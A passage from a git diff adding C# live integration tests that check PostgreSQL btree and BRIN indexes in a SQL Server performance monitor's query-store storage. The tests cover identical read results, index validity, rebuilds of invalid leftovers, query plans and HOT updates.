+    private static async Task<long> LeafPagesAsync(NpgsqlConnection connection, string table, CancellationToken ct) =>
+        Convert.ToInt64(await ScalarAsync(connection,
+            $"SELECT COALESCE(SUM(c.relpages), 0) FROM pg_partition_tree('{table}'::regclass) AS p JOIN pg_class AS c ON c.oid = p.relid WHERE p.isleaf", ct), CultureInfo.InvariantCulture);
+
+    private static async Task<bool> IndexExistsAsync(NpgsqlConnection connection, string indexName, CancellationToken ct) =>
+        (bool)(await ScalarAsync(connection, $"SELECT to_regclass('{indexName}') IS NOT NULL", ct))!;
+
+    private static async Task<bool> IndexIsValidAsync(NpgsqlConnection connection, string indexName, CancellationToken ct) =>
+        (bool)(await ScalarAsync(connection, $"SELECT indisvalid FROM pg_index WHERE indexrelid = '{indexName}'::regclass", ct))!;
+
+    /* One hourly interval per query for servers 1 and 2 (60 queries each) in the wide table, up to the current hour,
+       and one NULL-start row (runtime_stats_interval_id -1, the legacy shape) for server 2 six hours ago, so the
+       duration trend's second arm returns a row beside its first. */
+    private static async Task SeedAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await ExecAsync(connection, @"
+INSERT INTO collect.query_store_interval_wide
+    (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time,
+     last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id, interval_start_time_utc)
+SELECT LEAST(timezone('UTC', now()), h + interval '1 hour'), s, 'db', q, q, 'Regular', h, LEAST(timezone('UTC', now()), h + interval '1 hour'),
+       'select 1', 10 + q, 1000 + q, extract(epoch FROM h)::bigint / 3600, h
+FROM generate_series(date_trunc('hour', timezone('UTC', now())) - interval '60 hours', date_trunc('hour', timezone('UTC', now())), interval '1 hour') h
+CROSS JOIN generate_series(1, 2) s CROSS JOIN generate_series(1, 60) q;
+
+INSERT INTO collect.query_store_interval_wide
+    (collection_time, server_id, database_name, query_id, plan_id, execution_type_desc, first_execution_time,
+     last_execution_time, query_text, execution_count, avg_duration_us, runtime_stats_interval_id, interval_start_time_utc)
+VALUES (timezone('UTC', now()) - interval '6 hours', 2, 'db', 1, 1, 'Regular', timezone('UTC', now()) - interval '7 hours',
+        timezone('UTC', now()) - interval '6 hours', 'select 1', 5, 1000, -1, NULL);
+
+ANALYZE collect.query_store_interval_wide;", ct);
+    }
+
+    private static NpgsqlParameter Ts(DateTime value) => new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(value, DateTimeKind.Unspecified) };
+
+    private static NpgsqlParameter Text() => new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = DBNull.Value };
+
+    private static NpgsqlParameter NullTs() => new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = DBNull.Value };
+
+    /* Every row of a result, stringified (a timestamp round-trips to the tick, a NULL reads as NULL) and sorted, so a
+       comparison between two runs is exact and order-free. */
+    private static async Task<List<string>> RowsAsync(NpgsqlCommand command, CancellationToken ct)
+    {
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        var rows = new List<string>();
+        while (await reader.ReadAsync(ct))
+        {
+            var values = new object[reader.FieldCount];
+            reader.GetValues(values);
+            rows.Add(string.Join("|", values.Select(v => v switch
+            {
+                DBNull => "NULL",
+                DateTime stamp => stamp.ToString("O", CultureInfo.InvariantCulture),
+                _ => Convert.ToString(v, CultureInfo.InvariantCulture),
+            })));
+        }
+
+        rows.Sort(StringComparer.Ordinal);
+        return rows;
+    }
+
+    /* Every read the indexes speed up, as the product binds each one, for both servers over a 24 h and a 60 h window
+       ending at <paramref name="end"/>, which the caller fixes so two runs read the same windows: the MCP table read,
+       the web viewer's table read (once with a closed window end and once with the open end a preset window binds as
+       NULL) and the duration trend's table read. Server 2 holds the NULL-start row, so the trend read's second arm
+       returns it. */
+    private static async Task<List<string>> ReadAllAsync(NpgsqlConnection connection, DateTime end, CancellationToken ct)
+    {
+        var results = new List<string>();
+        foreach (var serverId in new[] { 1, 2 })
+        {
+            foreach (var hours in new[] { 24, 60 })
+            {
+                var start = end.AddHours(-hours);
+
+                await using (var top = new NpgsqlCommand(DarlingDataReader.QueryStoreTopTableSql, connection))
+                {
+                    top.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+                    top.Parameters.Add(Ts(start));
+                    top.Parameters.Add(Ts(end));
+                    top.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 500 });
+                    top.Parameters.Add(PerformanceMonitor.Darling.Storage.DatabaseFilter.All.Parameter());  /* #5245: the database list binds one text[] */
+                    top.Parameters.Add(Text());
+                    top.Parameters.Add(Text());
+                    top.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(500) });  /* #5313: the round's candidate limit, bound last */
+                    var rows = await RowsAsync(top, ct);
+                    results.Add($"mcp top|server {serverId}|{hours}h|{rows.Count} rows");
+                    results.AddRange(rows.Select(r => $"  {r}"));
+                }
+
+                foreach (var openEnd in new[] { false, true })
+                {
+                    await using var viewerTop = new NpgsqlCommand(ViewerDataService.QueryStoreTopTableSql, connection);
+                    viewerTop.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+                    viewerTop.Parameters.Add(Ts(start));
+                    viewerTop.Parameters.Add(openEnd ? NullTs() : Ts(end));
+                    viewerTop.Parameters.Add(new NpgsqlParameter<int> { TypedValue = 500 });
+                    viewerTop.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+                    viewerTop.Parameters.Add(new NpgsqlParameter<int> { TypedValue = PerformanceMonitor.Darling.Storage.TopFill.FirstCandidates(500) });  /* #5313: the round's candidate limit, bound last */
+                    var rows = await RowsAsync(viewerTop, ct);
+                    results.Add($"viewer top|server {serverId}|{hours}h|{(openEnd ? "open end" : "closed end")}|{rows.Count} rows");
+                    results.AddRange(rows.Select(r => $"  {r}"));
+                }
+
+                await using (var trend = new NpgsqlCommand(ViewerDataService.QueryStoreDurationTrendTableSql, connection))
+                {
+                    trend.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+                    trend.Parameters.Add(Ts(start));
+                    trend.Parameters.Add(Ts(end));
+                    trend.Parameters.Add(Ts(end));
+                    trend.Parameters.Add(ViewerDataService.DatabaseFilterParameter(null));
+                    var rows = await RowsAsync(trend, ct);
+                    results.Add($"trend|server {serverId}|{hours}h|{rows.Count} rows");
+                    results.AddRange(rows.Select(r => $"  {r}"));
+                }
+            }
+        }
+
+        return results;
+    }
+
+    [Fact]
+    public async Task TheReads_AreIdenticalWithTheIndexesAbsentAndPresent()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4952 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedAsync(connection, ct);
+
+        Assert.False(await IndexExistsAsync(connection, QueryStoreIntervalWideBrinIndex.IndexName, ct));
+        Assert.False(await IndexExistsAsync(connection, QueryStoreBackgroundIndexes.WideServerFirstExecIndexName, ct));
+        var end = DateTime.UtcNow;
+        var absent = await ReadAllAsync(connection, end, ct);
+
+        /* Non-vacuous: every read returns rows. */
+        Assert.DoesNotContain("mcp top|server 1|24h|0 rows", absent);
+        Assert.DoesNotContain("mcp top|server 2|60h|0 rows", absent);
+        Assert.DoesNotContain("viewer top|server 1|24h|closed end|0 rows", absent);
+        Assert.DoesNotContain("viewer top|server 2|60h|open end|0 rows", absent);
+        Assert.DoesNotContain("trend|server 1|24h|0 rows", absent);
+        Assert.DoesNotContain("trend|server 2|60h|0 rows", absent);
+
+        /* The NULL-start row of server 2 is in what the trend read returns (its second arm), so that arm is compared too. */
+        var legacyPoint = ((DateTime)(await ScalarAsync(connection, $"SELECT collection_time FROM {Wide} WHERE interval_start_time_utc IS NULL", ct))!).ToString("O", CultureInfo.InvariantCulture);
+        Assert.Contains(absent, line => line.TrimStart().StartsWith(legacyPoint, StringComparison.Ordinal));
+
+        await EnsureAllAsync(connection, ct);
+        await ExecAsync(connection, $"ANALYZE {Wide}", ct);
+        var present = await ReadAllAsync(connection, end, ct);
+
+        Assert.Equal(absent, present);
+    }
+
+    [Fact]
+    public async Task Ensure_BuildsTheBtreeAndTheBrinValid_AndASecondEnsureChangesNothing()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4952 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedAsync(connection, ct);
+        await EnsureAllAsync(connection, ct);
+
+        var names = new[] { QueryStoreIntervalWideBrinIndex.IndexName, QueryStoreBackgroundIndexes.WideServerFirstExecIndexName, QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName };
+        foreach (var name in names)
+        {
+            Assert.True(await IndexIsValidAsync(connection, name, ct), name);
+        }
+
+        foreach (var name in names)
+        {
+            Assert.True(await QueryStoreIntervalWideBrinIndexLiveTests.LeafIsAttachedAsync(connection, name, ct), name + " has no attached legacy leaf index");
+            Assert.True(await IndexIsValidAsync(connection, name + "_legacy", ct), name + "_legacy");
+        }
+
+        var latestDefinition = (string)(await ScalarAsync(connection, $"SELECT pg_get_indexdef('{QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName}'::regclass)", ct))!;
+        /* #5571: on a partitioned table the parent's index is the ON ONLY shape (pg_get_indexdef prints ONLY for a
+           partitioned index), and each leaf carries an attached child. */
+        Assert.Contains("ON ONLY collect.query_store_interval_latest USING btree (server_id, first_execution_time)", latestDefinition);
+
+        var wideDefinition = (string)(await ScalarAsync(connection, $"SELECT pg_get_indexdef('{QueryStoreBackgroundIndexes.WideServerFirstExecIndexName}'::regclass)", ct))!;
+        Assert.Contains("USING btree (server_id, first_execution_time)", wideDefinition);
+        var brinDefinition = (string)(await ScalarAsync(connection, $"SELECT pg_get_indexdef('{QueryStoreIntervalWideBrinIndex.IndexName}'::regclass)", ct))!;
+        Assert.Contains("USING brin (collection_time)", brinDefinition);
+
+        var oids = new List<object?>();
+        foreach (var name in names)
+        {
+            oids.Add(await ScalarAsync(connection, $"SELECT '{name}'::regclass::oid", ct));
+        }
+
+        await EnsureAllAsync(connection, ct);
+        for (var i = 0; i < names.Length; i++)
+        {
+            Assert.Equal(oids[i], await ScalarAsync(connection, $"SELECT '{names[i]}'::regclass::oid", ct));
+        }
+    }
+
+    /* The Custom Views fleet loop resolves each server's read source in turn, and for a window of 12 hours or more on this
+       plain table each resolve runs PlainTableFloorSql: MIN(first_execution_time) for one server. With the wide btree the
+       planner answers it through its min/max path, a Limit over an ordered scan of that btree under an index condition on
+       server_id, instead of a pass over the table. The older single-column first_execution_time index also supports a
+       min/max path (it walks entries of every server until one matches), so a plan that merely shows a Limit over an
+       index scan would pass without the wide btree: the pin names the index. */
+    [Fact]
+    public async Task ThePerServerTableFloorRead_IsAnsweredByTheWideBtree_NotByAScan()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4952 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedAsync(connection, ct);
+        await EnsureAllAsync(connection, ct);
+
+        /* VACUUM as well as ANALYZE, as a store's autovacuum does: it sets the visibility map, which lets the wide btree
+           (it holds both columns the statement touches) answer with an index-only scan. On a table whose pages are not yet
+           marked all-visible the planner prices that scan's heap fetches at random cost and takes the older index instead,
+           whose order follows the heap. */
+        await ExecAsync(connection, "VACUUM (ANALYZE) collect.query_store_interval_wide", ct);
+
+        /* The premise: two servers, and a table of many pages, so a pass over the table is a real alternative. */
+        Assert.Equal(2L, await ScalarAsync(connection, "SELECT count(DISTINCT server_id) FROM collect.query_store_interval_wide", ct));
+        var pages = await LeafPagesAsync(connection, "collect.query_store_interval_wide", ct);
+        Assert.True(pages >= 20, $"the table spans {pages} pages; the pin needs a table whose pass would cost more than an index probe");
+
+        var plan = await ExplainPlainTableFloorAsync(connection, 1, ct);
+
+        var wideName = QueryStoreBackgroundIndexes.WideServerFirstExecIndexName[(QueryStoreBackgroundIndexes.WideServerFirstExecIndexName.IndexOf('.', StringComparison.Ordinal) + 1)..];
+
+        /* #5571: a plan names the leaf's child of the parent index, not the parent: on the unpromoted store the one leaf is
+           the legacy table, whose child the ensure names <index>_legacy. */
+        wideName += "_legacy";
+        Assert.DoesNotContain("Seq Scan", plan.NodeTypes);
+        Assert.Contains("Limit", plan.NodeTypes);
+        Assert.Equal(new[] { wideName }, plan.IndexScansUnderLimit.Select(scan => scan.Index).Distinct().ToArray());
+        Assert.All(plan.IndexScansUnderLimit, scan => Assert.Contains("server_id", scan.Cond, StringComparison.Ordinal));
+    }
+
+    /* EXPLAIN of the product's own statement, its server bound as the product binds it: an integer parameter. */
+    private static async Task<(HashSet<string> NodeTypes, List<(string Index, string Cond)> IndexScansUnderLimit)> ExplainPlainTableFloorAsync(
+        NpgsqlConnection connection, int serverId, CancellationToken ct)
+    {
+        await using var explain = new NpgsqlCommand("EXPLAIN (FORMAT JSON) " + QueryStoreIntervalWide.PlainTableFloorSql, connection);
+        explain.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
+        var json = (string)(await explain.ExecuteScalarAsync(ct))!;
+
+        var nodeTypes = new HashSet<string>(StringComparer.Ordinal);
+        var underLimit = new List<(string Index, string Cond)>();
+
+        void Walk(JsonElement element, bool limited)
+        {
+            if (element.ValueKind == JsonValueKind.Array)
+            {
+                foreach (var item in element.EnumerateArray())
+                {
+                    Walk(item, limited);
+                }
+
+                return;
+            }
+
+            if (element.ValueKind != JsonValueKind.Object)
+            {
+                return;
+            }
+
+            var isLimit = false;
+            if (element.TryGetProperty("Node Type", out var type))
+            {
+                nodeTypes.Add(type.GetString()!);
+                isLimit = type.GetString() == "Limit";
+            }
+
+            if (limited && element.TryGetProperty("Index Name", out var index))
+            {
+                underLimit.Add((index.GetString()!, element.TryGetProperty("Index Cond", out var cond) ? cond.GetString()! : string.Empty));
+            }
+
+            foreach (var property in element.EnumerateObject())
+            {
+                Walk(property.Value, limited || isLimit);
+            }
+        }
+
+        using var document = JsonDocument.Parse(json);
+        Walk(document.RootElement, false);
+        return (nodeTypes, underLimit);
+    }
+
+    [Fact]
+    public async Task ASpecAimedAtTheRawHypertable_IsSkippedWithAWarning_AndBuildsNothing()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4952 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+
+        /* The premise: the store holds the raw table as a hypertable, which refuses CREATE INDEX CONCURRENTLY and whose
+           per-chunk build is not offered, so an index there is skipped, never built. */
+        Assert.True((bool)(await ScalarAsync(connection, "SELECT EXISTS (SELECT 1 FROM timescaledb_information.hypertables WHERE hypertable_schema = 'collect' AND hypertable_name = 'query_store_stats')", ct))!);
+
+        var aimedAtTheHypertable = new QueryStoreBackgroundIndexes.IndexSpec(
+            "collect.ix_query_store_stats_skip_probe",
+            Raw,
+            "CREATE INDEX CONCURRENTLY IF NOT EXISTS ix_query_store_stats_skip_probe ON collect.query_store_stats (server_id, collection_time);",
+            "DROP INDEX CONCURRENTLY IF EXISTS collect.ix_query_store_stats_skip_probe;");
+        var logger = new CapturingTestLogger();
+        await QueryStoreBackgroundIndexes.EnsureAsync(connection, aimedAtTheHypertable, logger, ct);
+
+        Assert.Equal(1, logger.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+        Assert.Contains("is a hypertable", logger.Joined, StringComparison.Ordinal);
+        Assert.False(await IndexExistsAsync(connection, aimedAtTheHypertable.IndexName, ct));
+        Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM pg_indexes WHERE indexname LIKE '%skip_probe%'", ct));
+
+        /* The real set builds nothing on the raw hypertable either: its index list is the same before and after. */
+        const string rawIndexCount = @"
+SELECT count(*)
+FROM pg_index i
+WHERE i.indrelid = 'collect.query_store_stats'::regclass
+   OR i.indrelid IN (SELECT format('%I.%I', c.chunk_schema, c.chunk_name)::regclass
+                     FROM timescaledb_information.chunks c
+                     WHERE c.hypertable_schema = 'collect' AND c.hypertable_name = 'query_store_stats')";
+        var before = await ScalarAsync(connection, rawIndexCount, ct);
+        await EnsureAllAsync(connection, ct);
+        Assert.Equal(before, await ScalarAsync(connection, rawIndexCount, ct));
+    }
+
+    [Fact]
+    public async Task AnInvalidLeftover_IsDroppedAndRebuilt_ForTheBtreeAndTheBrin()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4952 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await EnsureAllAsync(connection, ct);
+
+        var names = new[] { QueryStoreIntervalWideBrinIndex.IndexName, QueryStoreBackgroundIndexes.WideServerFirstExecIndexName, QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName };
+        var oldOids = new Dictionary<string, object?>();
+        foreach (var name in names)
+        {
+            /* #5571: an interrupted build on a day-partitioned table leaves the parent's ON ONLY index INVALID and the
+               leaf's own index INVALID and unattached; the test roles are superuser, so recreating that state is
+               deterministic. The leaf index is the one the ensure drops and rebuilds. */
+            oldOids[name] = await QueryStoreIntervalWideBrinIndexLiveTests.LeaveAnInterruptedLegacyBuildAsync(connection, name, ct);
+            Assert.False(await IndexIsValidAsync(connection, name, ct));
+        }
+
+        await EnsureAllAsync(connection, ct);
+
+        foreach (var name in names)
+        {
+            Assert.True(await IndexIsValidAsync(connection, name, ct), name);
+            Assert.True(await IndexIsValidAsync(connection, name + "_legacy", ct), name + "_legacy");
+            Assert.True(await QueryStoreIntervalWideBrinIndexLiveTests.LeafIsAttachedAsync(connection, name, ct), name);
+            Assert.NotEqual(oldOids[name], await ScalarAsync(connection, $"SELECT '{name}_legacy'::regclass::oid", ct));
+        }
+    }
+
+    [Fact]
+    public async Task TheUpsertsWholeSetList_StaysHotWithTheWideBtreePresent_AndNotWithABtreeOnASetColumn()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #4952 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedAsync(connection, ct);
+        await EnsureAllAsync(connection, ct);
+
+        /* The claim is about the wide btree being present, so prove it is: with the ensure taken out the update below
+           stays heap-only trivially, and this test passed without the index until it asserted it. */
+        Assert.True(await IndexIsValidAsync(connection, QueryStoreBackgroundIndexes.WideServerFirstExecIndexName, ct));
+
+        /* Exactly the columns the writer's ON CONFLICT ... DO UPDATE sets, each given a changed value by its type. */
+        var setColumns = QueryStoreIntervalWideBrinIndexLiveTests.UpsertSetColumns();
+        var types = new Dictionary<string, string>(StringComparer.Ordinal);
+        await using (var typeCommand = new NpgsqlCommand(
+            "SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'collect' AND table_name = 'query_store_interval_wide'", connection))
+        await using (var reader = await typeCommand.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+            {
+                types[reader.GetString(0)] = reader.GetString(1);
+            }
+        }
+
+        var assignments = setColumns.OrderBy(c => c, StringComparer.Ordinal).Select(column => types[column] switch
+        {
+            "timestamp without time zone" => $"{column} = {column} + interval '1 minute'",
+            "boolean" => $"{column} = NOT COALESCE({column}, false)",
+            "text" => $"{column} = COALESCE({column}, '') || 'x'",
+            _ => $"{column} = COALESCE({column}, 0) + 1",
+        });
+        var setList = string.Join(", ", assignments);
+
+        var (updated, hot) = await QueryStoreIntervalWideBrinIndexLiveTests.UpdateAndReadHotAsync(connection, setList, "server_id = 1 AND query_id = 1", ct);
+        Assert.True(updated >= 20, $"the update must touch rows; touched {updated}");
+        Assert.Equal(updated, hot);
+
+        /* The control: a btree on a SET column makes the same update non-HOT, so the counters can fail. */
+        await ExecAsync(connection, $"CREATE INDEX ix_btree_probe ON {Wide} (execution_count)", ct);
+        var (controlUpdated, controlHot) = await QueryStoreIntervalWideBrinIndexLiveTests.UpdateAndReadHotAsync(connection, setList, "server_id = 1 AND query_id = 1", ct);
+        Assert.Equal(updated, controlUpdated);
+        Assert.Equal(0, controlHot);
+    }
+
+    /* ---- #5507: the btree on collect.query_store_interval_latest (server_id, first_execution_time) ---- */
+
+    private const string Latest = "collect.query_store_interval_latest";
+
+    /* Four servers x 15 fixed past days x 2,000 queries. The days are fixed and old, so the late-day trigger's WHEN (a row
+       whose first execution is at most 17 days back) never fires on the seed. */
+    private static async Task SeedLatestAsync(NpgsqlConnection connection, int queriesPerDay, CancellationToken ct)
+    {
+        await ExecAsync(connection, $@"
+INSERT INTO {Latest}
+    (server_id, database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time, collection_time,
+     query_plan_hash, execution_count, avg_cpu_time_us, avg_duration_us, last_execution_time, is_forced_plan, force_failure_count)
+SELECT s, 'db', q, q, NULL, extract(epoch FROM d)::bigint / 3600, d, d + interval '1 hour',
+       'h' || q, 10, 100, 1000, d + interval '30 minutes', false, 0
+FROM generate_series(1, 4) s
+CROSS JOIN generate_series(TIMESTAMP '2026-03-01', TIMESTAMP '2026-03-15', interval '1 day') d
+CROSS JOIN generate_series(1, {queriesPerDay}) q;", ct);
+
+        /* VACUUM cannot share a batch with the insert: a multi-statement simple query is one implicit transaction. */
+        await ExecAsync(connection, $"VACUUM (ANALYZE) {Latest}", ct);
+    }
+
+    /// <summary>Every index the EXPLAIN of <paramref name="sql"/> names.</summary>
+    private static async Task<HashSet<string>> LatestIndexesInPlanAsync(
+        NpgsqlConnection connection, string sql, NpgsqlParameter[] parameters, CancellationToken ct)
+    {
+        await using var explain = new NpgsqlCommand("EXPLAIN (FORMAT JSON) " + sql, connection);
+        foreach (var parameter in parameters)
+        {
+            explain.Parameters.Add(parameter);
+        }
+
+        var json = (string)(await explain.ExecuteScalarAsync(ct))!;
+        var found = new HashSet<string>(StringComparer.Ordinal);
+
+        void Walk(JsonElement element)
+        {
+            if (element.ValueKind == JsonValueKind.Array)
+            {
+                foreach (var item in element.EnumerateArray())
+                {
+                    Walk(item);
+                }
+
+                return;
+            }
+
+            if (element.ValueKind != JsonValueKind.Object)
+            {
+                return;
+            }
+
+            /* A Bitmap Index Scan names its index but not the relation (its Bitmap Heap Scan parent names the relation), so
+               every index in the plan counts; the statements explained here read no other table with an index. */
+            if (element.TryGetProperty("Index Name", out var index))
+            {
+                found.Add(index.GetString()!);
+            }
+
+            foreach (var property in element.EnumerateObject())
+            {
+                Walk(property.Value);
+            }
+        }
+
+        using var document = JsonDocument.Parse(json);
+        Walk(document.RootElement);
+        return found;
+    }
+
+    [Fact]
+    public async Task ThePerDayBuildAndTheServerFloor_UseTheLatestBtree_OnceItIsBuilt()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5507 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedLatestAsync(connection, 2000, ct);
+
+        /* The premise: a plain table (the ensure builds on a plain table only) of many pages and four servers. */
+        Assert.False((bool)(await ScalarAsync(connection, "SELECT EXISTS (SELECT 1 FROM timescaledb_information.hypertables WHERE hypertable_schema = 'collect' AND hypertable_name = 'query_store_interval_latest')", ct))!);
+        Assert.Equal(4L, await ScalarAsync(connection, $"SELECT count(DISTINCT server_id) FROM {Latest}", ct));
+        var pages = await LeafPagesAsync(connection, Latest, ct);
+        Assert.True(pages >= 200, $"the table spans {pages} pages; the pin needs a table whose slice walk costs more than a range scan");
+
+        var day = new DateTime(2026, 3, 10, 0, 0, 0, DateTimeKind.Unspecified);
+        NpgsqlParameter[] BuildParameters() => new[]
+        {
+            new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 2 },
+            new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Date, Value = DateOnly.FromDateTime(day) },
+            new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = day.AddDays(1) },
+            new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = day.AddDays(-1) },
+        };
+        NpgsqlParameter[] FloorParameters() => new[] { new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = 2 } };
+
+        var latestName = QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName[(QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName.IndexOf('.', StringComparison.Ordinal) + 1)..];
+
+        /* #5571: a plan names the leaf's child of the parent index, not the parent: on the unpromoted store the one leaf is
+           the legacy table, whose child the ensure names <index>_legacy. */
+        latestName += "_legacy";
+
+        /* The premise: the index is not there yet, so any plan below that names it names it because the ensure built it. */
+        Assert.False(await IndexExistsAsync(connection, QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName, ct));
+
+        await EnsureAllAsync(connection, ct);
+        await ExecAsync(connection, $"VACUUM (ANALYZE) {Latest}", ct);
+
+        var build = await LatestIndexesInPlanAsync(connection, PlanRegressionDaily.BuildDaySql, BuildParameters(), ct);
+        Assert.Contains(latestName, build);
+
+        /* The floor read: the new btree is one descent. V153's first_execution_time-only btree could also answer a min/max
+           path, so the pin names the new index. */
+        var floor = await LatestIndexesInPlanAsync(connection, QueryStoreIntervalLatest.PlainTableFloorSql, FloorParameters(), ct);
+        Assert.Equal(new[] { latestName }, floor.ToArray());
+    }
+
+    [Fact]
+    public async Task TheLatestUpsertsWholeSetList_StaysHotWithTheLatestBtreePresent_AndNotWithABtreeOnASetColumn()
+    {
+        var baseCs = BaseConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(baseCs), "Set DARLING_TEST_PG to a Postgres connection string to run the #5507 live test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseCs!, ct);
+        await using var connection = await OpenStoreAsync(scratch, ct);
+        await SeedLatestAsync(connection, 40, ct);
+        await EnsureAllAsync(connection, ct);
+
+        /* The claim is about the latest btree being present, so prove it is: without it the update below stays heap-only
+           trivially. */
+        Assert.True(await IndexIsValidAsync(connection, QueryStoreBackgroundIndexes.LatestServerFirstExecIndexName, ct));
+
+        var setColumns = QueryStoreIntervalWideBrinIndexLiveTests.UpsertSetColumns(QueryStoreIntervalLatest.UpsertSql);
+        var types = new Dictionary<string, string>(StringComparer.Ordinal);
+        await using (var typeCommand = new NpgsqlCommand(
+            "SELECT column_name, data_type FROM information_schema.columns WHERE table_schema = 'collect' AND table_name = 'query_store_interval_latest'", connection))
+        await using (var reader = await typeCommand.ExecuteReaderAsync(ct))
+        {
+            while (await reader.ReadAsync(ct))
+            {
+                types[reader.GetString(0)] = reader.GetString(1);
+            }
+        }
+
+        var setList = string.Join(", ", setColumns.OrderBy(c => c, StringComparer.Ordinal).Select(column => types[column] switch
+        {
+            "timestamp without time zone" => $"{column} = {column} + interval '1 minute'",
+            "boolean" => $"{column} = NOT COALESCE({column}, false)",
+            "text" => $"{column} = COALESCE({column}, '') || 'x'",
+            _ => $"{column} = COALESCE({column}, 0) + 1",
+        }));
+
+        var (updated, hot) = await QueryStoreIntervalWideBrinIndexLiveTests.UpdateAndReadHotAsync(connection, setList, "server_id = 1 AND query_id <= 20", ct, Latest);
+        Assert.True(updated >= 20, $"the update must touch rows; touched {updated}");
+        Assert.Equal(updated, hot);
+
+        /* The control: a btree on a SET column makes the same update non-HOT, so the counters can fail. */
+        await ExecAsync(connection, $"CREATE INDEX ix_btree_probe ON {Latest} (execution_count)", ct);
+        var (controlUpdated, controlHot) = await QueryStoreIntervalWideBrinIndexLiveTests.UpdateAndReadHotAsync(connection, setList, "server_id = 1 AND query_id <= 20", ct, Latest);
+        Assert.Equal(updated, controlUpdated);
+        Assert.Equal(0, controlHot);
+    }
+}
diff --git a/Darling/Darling.Tests/QueryStoreBackgroundIndexesTests.cs b/Darling/Darling.Tests/QueryStoreBackgroundIndexesTests.cs
new file mode 100644
index 0000000000..43656d07dc
--- /dev/null
+++ b/Darling/Darling.Tests/QueryStoreBackgroundIndexesTests.cs
@@ -0,0 +1,452 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Microsoft.Extensions.Logging.Abstractions;
+using Npgsql;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
